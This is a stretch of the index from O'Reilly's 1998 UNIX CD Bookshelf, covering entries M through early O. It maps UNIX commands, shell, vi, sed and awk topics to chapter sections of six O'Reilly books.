categories : UNIX Power Tools, 50.1. UNIX Online Documentation
deleting : UNIX Power Tools, 23.19. Deleting (BSD) Manual Pages that Aren't Read
displaying
UNIX in a Nutshell, Chapter 2, Reference: man
UNIX in a Nutshell, Chapter 2, Reference: whatis
formatting : UNIX Power Tools, 50.10. Make Your Own Man Pages Without Learning troff
MANPATH variable : UNIX Power Tools, 6.3. Predefined Environment Variables
searching
UNIX Power Tools, 50.2. The apropos Command
UNIX Power Tools, 50.3. apropos on Systems Without apropos
UNIX Power Tools, 50.6. Searching Online Manual Pages
UNIX in a Nutshell, Chapter 2, Reference: apropos
types of : UNIX Power Tools, 50.6. Searching Online Manual Pages
writing
UNIX Power Tools, 50.10. Make Your Own Man Pages Without Learning troff
UNIX Power Tools, 50.11. Writing a Simple Man Page with the -man Macros
map command (ex) : UNIX in a Nutshell, Chapter 9, Reference: map
mapping
commands : Learning the vi Editor, 7.3.2. Using the map Command
examples
Learning the vi Editor, 7.3.4. Complex Mapping Example
Learning the vi Editor, 7.3.5. More Examples of Mapping Keys
function keys : Learning the vi Editor, 7.3.7. Mapping Function Keys
insert mode : Learning the vi Editor, 7.3.6. Mapping Keys for Insert Mode
keys unused in vi : Learning the vi Editor, 7.3.2. Using the map Command
quoting special characters : Learning the vi Editor, 7.3.3. Protecting Keys from Interpretation by ex
special keys : Learning the vi Editor, 7.3.8. Mapping Other Special Keys
margins, nroff/troff requests for : UNIX in a Nutshell, 12.5.14. Text Adjustments
mark a place in a file (m) : Learning the vi Editor, 4.4. Marking Your Place
mark command (ex) : UNIX in a Nutshell, Chapter 9, Reference: mark
master password file : UNIX Power Tools, 1.23. File Access Permissions
master wordlist, ispell program : UNIX Power Tools, 29.5. Adding Words to ispell's Dictionary
masterindex script (example) : sed & awk, C.2. Listing of masterindex Shell Script
match (~) operator
sed & awk, 7.5.1. Referencing and Separating Fields
sed & awk, 7.8. Relational and Boolean Operators
match()
sed & awk, 9.2. String Functions
sed & awk, 9.2.5. The match() Function
match command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: match
matching : (see pattern matching)
matching braces : Learning the vi Editor, 7.5.2. A Special Search Command
mathematics : (see also arithmetic functions; arithmetic operators; numbers)
characters for (Eqn preprocessor) : UNIX in a Nutshell, 16.2.2. Mathematical Characters
equations, formatting in nroff/troff : UNIX in a Nutshell, 16.2. Eqn
mawk (Michael's awk)
sed & awk, 10.8. Limitations
sed & awk, 11.2.4. Michael's awk (mawk)
Maximize menu item (mwm) : Learning the UNIX Operating System, 2.5.4. The Window Menu
maximizing windows : Learning the UNIX Operating System, 2.5.1. Using the Titlebar
mcs command : UNIX in a Nutshell, Chapter 2, Reference: mcs
me macros : UNIX in a Nutshell, 15. me Macros
measurements for nroff/troff : UNIX in a Nutshell, 12.3.2. Specifying Measurements
membership in arrays : sed & awk, 8.4.2. Testing for Membership in an Array
memory : (see disk space)
menu prompts : UNIX Power Tools, 7.7. A "Menu Prompt" for Naive Users
menu, window (mwm) : Learning the UNIX Operating System, 2.5.4. The Window Menu
menu-based command generator (example) : sed & awk, 10.4. A Menu-Based Command Generator
merge command (RCS) : UNIX in a Nutshell, Chapter 18, Reference: merge
mesg command : UNIX in a Nutshell, Chapter 2, Reference: mesg
messages, email : (see email messages)
messages, error : UNIX in a Nutshell, Chapter 2, Reference: fmtmsg
Meta-key commands (emacs) : UNIX in a Nutshell, 7.3.2. Meta-key Sequences
metacharacters/wildcards
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
Learning the Korn Shell, 7.3. Command-line Processing
Learning the UNIX Operating System, 4.3. File and Directory Wildcards
UNIX Power Tools, 1.16. Wildcards
UNIX Power Tools, 8.19. "Special" Characters and Operators
UNIX Power Tools, 21.14. Automatically Appending the Date to a Filename
sed & awk, 3. Understanding Regular Expression Syntax
sed & awk, 3.2. A Line-Up of Characters
(see also pattern matching; regular expressions; special characters)
(see also specific entries in Symbols section of this index)
with aliases
Learning the Korn Shell, 3.2. Aliases
UNIX Power Tools, 8.9. Wildcards Inside of Aliases
awk regular expression : sed & awk, B.2.4. Regular Expressions
in case statements
UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
UNIX Power Tools, 44.6. Pattern Matching in case Statements
creating files : UNIX Power Tools, 9.4. Use Wildcards to Create Files?
deleting files and : UNIX Power Tools, 23.2. rm and Its Dangers
in directory names : UNIX Power Tools, 17.2. Delving Through a Deep Directory Tree
examples : Learning the Korn Shell, 1.6.2. Filenames and Wildcards
for filenames/pathnames
UNIX Power Tools, 15.1. File Naming Wildcards
UNIX Power Tools, 15.6. Maybe You Shouldn't Use Wildcards in Pathnames
UNIX in a Nutshell, 5.2.2. Filename Metacharacters
find command and
UNIX Power Tools, 17.4. Looking for Files with Particular Names
UNIX Power Tools, 17.18. Using "Fast find"
inside brackets : sed & awk, 3.2.4. Character Classes
in for loops : UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
matching dot files : UNIX Power Tools, 15.5. Matching All "Dot Files" with Wildcards
order of expansion in command-line processing : Learning the Korn Shell, 7.3. Command-line Processing
passing to programs : UNIX Power Tools, 1.18. Who Handles Wildcards?
for pattern matching : UNIX in a Nutshell, 6.1. Filenames Versus Patterns
in replacement strings
Learning the vi Editor, 6.3.2. Metacharacters Used in Replacement Strings
sed & awk, 5.3.1. Replacement Metacharacters
in search patterns : Learning the vi Editor, 6.3.1. Metacharacters Used in Search Patterns
sed regular expression : sed & awk, A.2.2. Regular Expression Metacharacters for sed
set command using : UNIX Power Tools, 44.19. The Bourne Shell set Command
for special filename characters : UNIX Power Tools, 23.12. Using Wildcards to Delete Files with Strange Names
tar archives and : UNIX Power Tools, 20.9. When a Program Doesn't Understand Wildcards
-mf option (awk) : sed & awk, 10.8. Limitations
mget command (ftp) : Learning the UNIX Operating System, 4.4.2.4. ftp
Michael's awk : (see mawk)
Microsoft Excel, sc program compared to : UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
Microsoft Windows
Learning the Korn Shell, 8. Process Handling
Learning the Korn Shell, A. Related Shells
Microsoft Windows NT : Learning the Korn Shell, 8. Process Handling
Minimize menu item (mwm) : Learning the UNIX Operating System, 2.5.4. The Window Menu
minimizing windows : Learning the UNIX Operating System, 2.5.1. Using the Titlebar
mins field in crontab entries : UNIX Power Tools, 40.12.1. Execution Scheduling
minus sign : (see - (hyphen))
MIT (Massachusetts Institute of Technology) : UNIX Power Tools, 1.31. The X Window System
mkdir command
Learning the UNIX Operating System, 4.4.1.1. mkdir
UNIX Power Tools, 4.8. Making Directories Made Easier
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: mkdir
. and .. directory links : UNIX Power Tools, 18.4.2. Links to a Directory
mkfifo command : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
mkfile, working around lack of swap space : UNIX Power Tools, 50.12. Common UNIX Error Messages
mkmsgs command : UNIX in a Nutshell, Chapter 2, Reference: mkmsgs
mknod command
Learning the Korn Shell, 8.3. Signals
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
MKS awk : sed & awk, 11.3.1. MKS awk
MKS Toolkit
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
Learning the Korn Shell, A.6. Workalikes on PC Platforms
sed & awk, DOS Versions
shell
Learning the Korn Shell, A. Related Shells
Learning the Korn Shell, A.6. Workalikes on PC Platforms
.mm filename extension : UNIX Power Tools, 1.17. Filename Extensions
mm macros : UNIX in a Nutshell, 13. mm Macros
mode bits
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 1.25. Access to Directories
modelines : UNIX Power Tools, 30.19. Modelines: Bug or Feature?
modes : UNIX in a Nutshell, Chapter 2, Reference: stty
access : UNIX Power Tools, 4.8. Making Directories Made Easier
command (vi)
Learning the vi Editor, 1. The vi Text Editor
Learning the vi Editor, 2.1. vi Commands
insert (vi)
Learning the vi Editor, 2.1. vi Commands
Learning the vi Editor, 7.3.6. Mapping Keys for Insert Mode
read-only (vi) : Learning the vi Editor, 4.2.2. Read-only Mode
Telnet : UNIX in a Nutshell, Chapter 2, Reference: telnet
modification time, file
UNIX Power Tools, 16.2. Finding Oldest or Newest Files with ls -t and ls -u
UNIX Power Tools, 16.5. The Three UNIX File Times
UNIX Power Tools, 16.9. An Alias to List Recently Changed Files
UNIX Power Tools, 16.18. Listing Files You've Created/Edited Today
UNIX Power Tools, 16.25. Listing Files by Age and Size
UNIX Power Tools, 16.27. newer: Print the Name of the Newest File
UNIX Power Tools, 17.5. Searching for Old Files
touch command and : UNIX Power Tools, 21.7. Setting File Modification Time with touch
modifiers : UNIX Power Tools, 26.4. Using Metacharacters in Regular Expressions
Modula
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 4.3.1. Syntax of String Operators
modularization : sed & awk, 10.7.3. Finding Out Where the Problem Is
modules command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: modules
modulo (%) operator : sed & awk, 7.6. Expressions
mon.out file : UNIX in a Nutshell, Chapter 2, Reference: cc
month in crontab entries : UNIX Power Tools, 40.12.1. Execution Scheduling
more utility
Learning the Korn Shell, 1.7.3. Pipelines
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the Korn Shell, 8.5. Coroutines
Learning the UNIX Operating System, 3.2.2. more
Learning the UNIX Operating System, 5.2.3. pg and more
UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
UNIX Power Tools, 25.3. Using more to Page Through Files
UNIX in a Nutshell, Chapter 2, Reference: more
starting : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
testing with screensize file : UNIX Power Tools, 42.6.2. Screen Width and Height: screensize
motd.diff script
UNIX Power Tools, 2.14. motd.diff: Show New Lines in Login Messages
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
mount command
UNIX Power Tools, 17.22. Finding the Links to a File
UNIX Power Tools, 52.5.2. Mounting the CD-ROM
mouse : Learning the UNIX Operating System, 2.4. Working with a Mouse
move command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 9, Reference: move
move commands (vi)
combining with edit command
Learning the vi Editor, 2.3.3.1. Words
Learning the vi Editor, 4.1. More Command Combinations
range of lines (:m) : Learning the vi Editor, 5.2.2. Defining a Range of Lines
text (delete and put)
Learning the vi Editor, 2.3.6. Moving Text
Learning the vi Editor, 2.3.7. Copying Text
Move menu item (mwm) : Learning the UNIX Operating System, 2.5.4. The Window Menu
moving
between directories : Learning the UNIX Operating System, 3.1.6.2. cd
directories : UNIX in a Nutshell, Chapter 2, Reference: mv
files
Learning the UNIX Operating System, 4.4.3. Renaming and Moving Files
UNIX Power Tools, 18.2. What's Really in a Directory
UNIX Power Tools, 21.11. Safer Removing, Moving, and Copying
UNIX in a Nutshell, Chapter 2, Reference: mv
(see also copying files; renaming files)
in archives : UNIX in a Nutshell, Chapter 2, Reference: ar
windows and icons : Learning the UNIX Operating System, 2.5.2. Moving Windows and Icons
mput command (ftp) : Learning the UNIX Operating System, 4.4.2.4. ftp
-mr option (awk) : sed & awk, 10.8. Limitations
.ms filename extension : UNIX Power Tools, 1.17. Filename Extensions
ms macros : UNIX in a Nutshell, 14. ms Macros
MS-DOS
Learning the Korn Shell, Preface
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
Learning the Korn Shell, 2.6. Finger Habits
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 8. Process Handling
Learning the Korn Shell, A. Related Shells
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
Learning the Korn Shell, A.6. Workalikes on PC Platforms
MTOOLS utilities : Learning the UNIX Operating System, 4.4.6. Files on Other Operating Systems
multidimensional arrays : sed & awk, 8.5.1. Multidimensional Arrays
tawk and : sed & awk, 11.3.2.1. Tawk language extensions
multiline
commands : UNIX Power Tools, 9.13. Multiline Commands, Secondary Prompts
delete command : (see D command (sed))
matching : sed & awk, 3.2.7.1. Phrases
next command (sed) : (see N command (sed))
pattern space : sed & awk, 6.1. Multiline Pattern Space
print command : (see P command (sed))
quoting : UNIX Power Tools, 8.14.4. Multiline Quoting
records, awk : sed & awk, 7.7.1. Working with Multiline Records
shell prompts : UNIX Power Tools, 7.5. Multiline Shell Prompts
multiplexor, testing standard input for : UNIX in a Nutshell, Chapter 2, Reference: ismpx
multiplication (*) operator
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 47.4.3.2. Arithmetic Operators
sed & awk, 7.6. Expressions
multitasking
Learning the UNIX Operating System, 6. Multitasking
UNIX Power Tools, 12.1. Job Control: Work Faster, Stop Runaway Jobs
in POSIX shell standard : Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
munchlist script : UNIX Power Tools, 29.5. Adding Words to ispell's Dictionary
mv command
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 6.1.3.1. More About C Compilers
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
Learning the UNIX Operating System, 4.4.3. Renaming and Moving Files
UNIX Power Tools, 18.2. What's Really in a Directory
UNIX Power Tools, 18.9. Renaming, Copying, or Comparing a Set of Files
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: mv
-b option : UNIX Power Tools, 21.11. Safer Removing, Moving, and Copying
-i option : UNIX Power Tools, 21.11. Safer Removing, Moving, and Copying
mwm window manager
Learning the UNIX Operating System, 2.5. Working with Windows
Learning the UNIX Operating System, 2.5.4. The Window Menu

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

n command (sed)
UNIX in a Nutshell, Chapter 10, Reference: n
sed & awk, 5.10. Next
N command (sed)
UNIX in a Nutshell, Chapter 10, Reference: N
sed & awk, 6.1.1. Append Next Line
with P and D commands : sed & awk, 6.1.3. Multiline Print
\n escape sequence : sed & awk, 6.1.1. Append Next Line
.n filename extension : UNIX Power Tools, 1.17. Filename Extensions
-n option (sed)
sed & awk, 2.3.2.2. Suppressing automatic display of input lines
sed & awk, 5.2. Comment
N>&- operator : UNIX Power Tools, 47.2.1.3. Closing FDs
n>&m operator : UNIX Power Tools, 45.21. n>&m: Swap Standard Output and Standard Error
examples
UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
UNIX Power Tools, 44.9. Testing Your Success
UNIX Power Tools, 44.11. Set Exit Status of a Shell (Script)
UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
UNIX Power Tools, 45.31. Nested Command Substitution
UNIX Power Tools, 45.32. A Better read Command: grabchars
UNIX Power Tools, 46.9. If Command Doesn't Return a Status, Test the Error Messages
UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
name lines in termcap or terminfo files : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
naming
script files : sed & awk, 2.2. Command-Line Syntax
namesort script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
naming
commands : UNIX Power Tools, 44.21. Picking a Name for a New Command
directories
Learning the UNIX Operating System, 4.2. File and Directory Names
Learning the UNIX Operating System, 4.3. File and Directory Wildcards
UNIX Power Tools, 16.21. Finding All Directories with the Same Name
environment variables : UNIX Power Tools, 6.1. What Environment Variables Are Good For
files : (see filenames)
magnetic tapes : UNIX Power Tools, 20.3.2. What Is the Name of the Tape Drive?
multiple names for one file : UNIX Power Tools, 18.3. Files with Two or More Names
self-renaming scripts : UNIX Power Tools, 45.4. Fun with #!
shell scripts : UNIX Power Tools, 44.21. Picking a Name for a New Command
special filenames
sed & awk, 11.2.1.4. Special filenames
sed & awk, 11.2.3.7. Additional special files
terminals : UNIX Power Tools, 5.10. Finding What Terminal Names You Can Use
nawk scripting language
UNIX Power Tools, 33.11. Quick Reference: awk
UNIX Power Tools, 50.12. Common UNIX Error Messages
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
UNIX in a Nutshell, Chapter 2, Reference: nawk
UNIX in a Nutshell, 11.1. Command-line Syntax
(see also awk scripting language; gawk scripting language)
databases created using : UNIX Power Tools, 48.10. Working with Names and Addresses
examples : UNIX Power Tools, 45.25. Shell Scripts On-the-Fly from Standard Input
version history : UNIX Power Tools, 33.12. Versions of awk
neatening text
UNIX Power Tools, 35.2. Neatening Text with fmt
UNIX Power Tools, 35.3. Alternatives to fmt
nested conditional statements : sed & awk, 8.1. Conditional Statements
netpbm : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
netstat command : UNIX Power Tools, 39.12.3. The I/O Subsystem
Network Filesystem : (see NFS)
Network I/O problems : UNIX Power Tools, 39.12.3. The I/O Subsystem
Network Information Service (NIS) : Learning the Korn Shell, 7.3.2.1. The C Compiler as Pipeline
network time : UNIX Power Tools, 39.5. Why Is the System So Slow?
networked filesystem : Learning the UNIX Operating System, 3.1.3. The Directory Tree
networks
archiving : UNIX Power Tools, 19.1. Packing Up and Moving
copying files across : Learning the UNIX Operating System, 4.4.2.3. rcp
find command and : UNIX Power Tools, 17.25. Keeping find From Searching Networked Filesystems
stream-oriented protocols : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
utilities for : UNIX Power Tools, 1.33. UNIX Networking and Communications
new features in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
newform command
UNIX in a Nutshell, Chapter 2, Reference: newform
(see also cut command; paste command)
newgrp command
Learning the Korn Shell, A.6. Workalikes on PC Platforms
UNIX Power Tools, 22.13. Groups and Group Ownership
UNIX in a Nutshell, Chapter 4, Reference: newgrp
newline characters : (see whitespace)
newline glitch : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
news command : UNIX in a Nutshell, Chapter 2, Reference: news
news directory, accessing : UNIX in a Nutshell, Chapter 2, Reference: news
newsgroup, awk : sed & awk, Other Sources of Information About sed and awk
next command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
sed & awk, 8.3. Other Statements That Affect Flow Control
sed & awk, 10.1. The getline Function
UNIX in a Nutshell, Chapter 11, Reference: next
(see also getline function)
next command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: next
next command (ex) : UNIX in a Nutshell, Chapter 9, Reference: next
next command (sed) : (see n command (sed); N command (sed))
nextday script
UNIX Power Tools, 40.10. nextday, nextweekday: Tomorrow or Next Weekday
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
nextfile statement : sed & awk, 11.2.1.5. The nextfile statement
nexti command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: nexti
nextweekday script
UNIX Power Tools, 40.10. nextday, nextweekday: Tomorrow or Next Weekday
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
adding calendar information to : UNIX Power Tools, 48.4.3. Automating Your Own Calendar
NF variable
sed & awk, 7.7. System Variables
sed & awk, 10.1.2. Assigning the Input to a Variable
NFS (Network Filesystem)
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX Power Tools, 52.5.3.1. Directory Structure
mounting : UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
nfsstat command : UNIX Power Tools, 39.12.3. The I/O Subsystem
nice command
Learning the Korn Shell, 1.8.2. Background Jobs and Priorities
UNIX Power Tools, 39.9. Know When to Be "nice" to OTher Users...and When
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: nice
UNIX in a Nutshell, Chapter 5, Reference: nice
background processes and : UNIX Power Tools, 1.28. Some Gotchas with Background Processing
nice number : UNIX Power Tools, 39.9. Know When to Be "nice" to OTher Users...and When
niceness : UNIX Power Tools, 39.9. Know When to Be "nice" to OTher Users...and When
nine-track tapes : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
nl command : UNIX in a Nutshell, Chapter 2, Reference: nl
nl program : UNIX Power Tools, 25.21. Numbering Lines
nm command : UNIX in a Nutshell, Chapter 2, Reference: nm
"no login associated with uid #" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
"No match" error : UNIX Power Tools, 15.4. What if a Wildcard Doesn't Match?
"no matches" error (ed, ex) : UNIX Power Tools, 33.7. ed/ex Batch Edits: Avoid Errors When No Match
NO SCROLL key : Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
no_run script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
nobeep shell variable : UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
noclobber shell variable
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the UNIX Operating System, 5.1.1.1. The > operator
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 13.6. Safe I/O Redirection with noclobber
UNIX Power Tools, 23.7. Safer File Deletion in Some Directories
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
NOG script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
noglob shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
nohup command
Learning the Korn Shell, 8.4.3. Ignoring Signals
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 38.18. nohup
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: nohup
UNIX in a Nutshell, Chapter 4, Reference: nohup
UNIX in a Nutshell, Chapter 5, Reference: nohup
background processes and : UNIX Power Tools, 1.28. Some Gotchas with Background Processing
nohup.out file : UNIX Power Tools, 38.18. nohup
nolinks shell variable : UNIX Power Tools, 14.13. Which Directory Am I in, Really?
nom script
UNIX Power Tools, 15.9. nom: List Files that Don't Match a Wildcard
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
trap command in : UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
non-canonical input mode : UNIX Power Tools, 41.7. Reading Verrrry Long Lines from the Terminal
non-English characters : sed & awk, 3.2.4.3. POSIX character class additions
nonexecutable scripts : UNIX Power Tools, 4.3. Organizing Nonexecutable Scripts
nonlogin shell : UNIX Power Tools, 2.2. Shell Setup Files-Which, Where, and Why
nonomatch shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
nonprintable characters : (see control characters; special characters)
noremap command (vi) : UNIX Power Tools, 31.14. Don't Lose Important Functions with vi Maps: Use noremap
non-shareable files : UNIX Power Tools, 52.5.3.1. Directory Structure
Normal script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
NOT (!) operator : (see !, negation operator)
not a tty. message : UNIX Power Tools, 38.6. The Controlling Terminal
"not a typewriter" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
"not enough memory" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
notepad, creating in terminal windows : UNIX Power Tools, 48.3. A Scratchpad on Your Screen
notify command
UNIX in a Nutshell, Chapter 2, Reference: notify
UNIX in a Nutshell, Chapter 5, Reference: notify
notify shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
Novell : Learning the Korn Shell, A.7. The Future of the Korn Shell
Novell NetWare : Learning the Korn Shell, A. Related Shells
NR variable
sed & awk, 7.7. System Variables
sed & awk, 8.4. Arrays
sed & awk, 10.1.2. Assigning the Input to a Variable
nroff program
UNIX Power Tools, 43.13. The Text Formatters nroff, troff, ditroff, ...
UNIX in a Nutshell, 12. Nroff and Troff
as alternative to awk : UNIX Power Tools, 48.12. Using index with a Filter
commands : UNIX Power Tools, 50.6. Searching Online Manual Pages
eliminating .so requests : UNIX in a Nutshell, Chapter 2, Reference: soelim
macros : UNIX Power Tools, 43.14. nroff/troff and Macro Packages
-man macros : UNIX Power Tools, 50.10. Make Your Own Man Pages Without Learning troff
preprocessors of : UNIX in a Nutshell, 16. Preprocessors
requests, list of : UNIX in a Nutshell, 12.4. Default Operation of Requests
stripping non-printable characters : sed & awk, 5.6.1. Stripping Out Non-Printable Characters from nroff Files
null commands
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
UNIX in a Nutshell, Chapter 2, Reference: true
null filenames : UNIX Power Tools, 23.13. Deleting Files with the Null Name
null strings : Learning the Korn Shell, 4.2.1. Positional Parameters
number command (ex) : UNIX in a Nutshell, Chapter 9, Reference: number
number registers
in mm macros : UNIX in a Nutshell, 13.3. Number Registers Used in mm
for ms macros
UNIX in a Nutshell, 14.2. Number Registers for Page Layout
UNIX in a Nutshell, 14.4. Reserved Number Register Names
in nroff/troff : UNIX in a Nutshell, 12.5.11. Number Registers
numbered replacement strings : sed & awk, 5.3.1. Replacement Metacharacters
numbering lines
UNIX Power Tools, 25.21. Numbering Lines
UNIX in a Nutshell, Chapter 2, Reference: nl
numbering revisions (RCS) : UNIX in a Nutshell, 18.3.4. Revision Numbering
numbers
UNIX Power Tools, 49.1. bc: Simple Math at the Shell Prompt
(see also calculators)
arithmetic functions : (see arithmetic functions)
comparing (relationship operators)
sed & awk, 7.8. Relational and Boolean Operators
(see also comparing)
converting to strings : sed & awk, 7.7. System Variables
converting units of : UNIX in a Nutshell, Chapter 2, Reference: units
factorials : sed & awk, 8.2.4. Deriving Factorials
hexadecimal
UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
sed & awk, 7.6. Expressions
tawk constants : sed & awk, 11.3.2.1. Tawk language extensions
limitations on : sed & awk, 10.8. Limitations
octal
UNIX Power Tools, 1.23. File Access Permissions
sed & awk, 7.6. Expressions
of ASCII characters
UNIX Power Tools, 7.8. Highlighting in Shell Prompts
UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
interpreting : UNIX Power Tools, 45.35.1. With echo
for permissions : UNIX Power Tools, 17.15. Searching for Files by Permission
output precision : sed & awk, 7.9. Formatted Printing
prime factors : UNIX in a Nutshell, Chapter 2, Reference: factor
random : sed & awk, 9.1.3. Random Number Generation
truncating : sed & awk, 9.1.2. Integer Function
working with : UNIX Power Tools, 49.1. bc: Simple Math at the Shell Prompt
numeric arguments
with edit commands : Learning the vi Editor, 2.3.3.1. Words
with insert commands : Learning the vi Editor, 2.4.1. Numeric Arguments for Insert Commands
with movement commands : Learning the vi Editor, 2.2.2. Numeric Arguments
numeric capabilities : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
numeric command returns : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
numeric exit status : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
numeric flags : sed & awk, 5.3. Substitution
numeric tests, syntax errors in : UNIX Power Tools, 46.4. Stop Syntax Errors in Numeric Tests

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

.o filename extension : UNIX Power Tools, 1.17. Filename Extensions
oawk scripting language : (see awk scripting language)
obase command : UNIX Power Tools, 49.2. bc: Hexadecimal or Binary Conversion
object files
file extension : UNIX Power Tools, 1.17. Filename Extensions
generating : UNIX in a Nutshell, Chapter 2, Reference: as
removing information from : UNIX in a Nutshell, Chapter 2, Reference: strip
object-code libraries : Learning the Korn Shell, 6.1.3.1. More About C Compilers
obsolete features in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
obtaining source code
awk
sed & awk, Availability of sed and awk
sed & awk, 11.3.1. MKS awk
sed & awk, 11.3.2. Thompson Automation awk (tawk)
sed & awk, 11.3.3. Videosoft VSAwk
examples
sed & awk, Sample Programs
sed & awk, Obtaining Example Source Code
gawk : sed & awk, 11.2.3. GNU awk (gawk)
mawk : sed & awk, 11.2.4. Michael's awk (mawk)
sed : sed & awk, Availability of sed and awk
ocrnl flag : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
octal dumps, producing : UNIX in a Nutshell, Chapter 2, Reference: od
octal numbers
UNIX Power Tools, 1.23. File Access Permissions
sed & awk, 7.6. Expressions
for ASCII characters
UNIX Power Tools, 7.8. Highlighting in Shell Prompts
UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
interpreting : UNIX Power Tools, 45.35.1. With echo
for permissions : UNIX Power Tools, 17.15. Searching for Files by Permission
od command : UNIX in a Nutshell, Chapter 2, Reference: od
-c option
UNIX Power Tools, 18.2. What's Really in a Directory
UNIX Power Tools, 23.15. Using unlink to Remove a File with a Strange Name
UNIX Power Tools, 25.7. Show Non-Printing Characters with cat -v or od -c
looking at characters : UNIX Power Tools, 41.7. Reading Verrrry Long Lines from the Terminal
off-peak hours, taking advantage of : UNIX Power Tools, 40.1. Off-Peak Job Submission
offset script
UNIX Power Tools, 35.7. offset: Indent Text
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
OFMT variable
sed & awk, 7.7. System Variables
sed & awk, 7.9. Formatted Printing
OFS variable : sed & awk, 7.7. System Variables
oldlinks script
UNIX Power Tools, 16.28. oldlinks: Find Unconnected Symbolic Links
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
OLDPWD variable
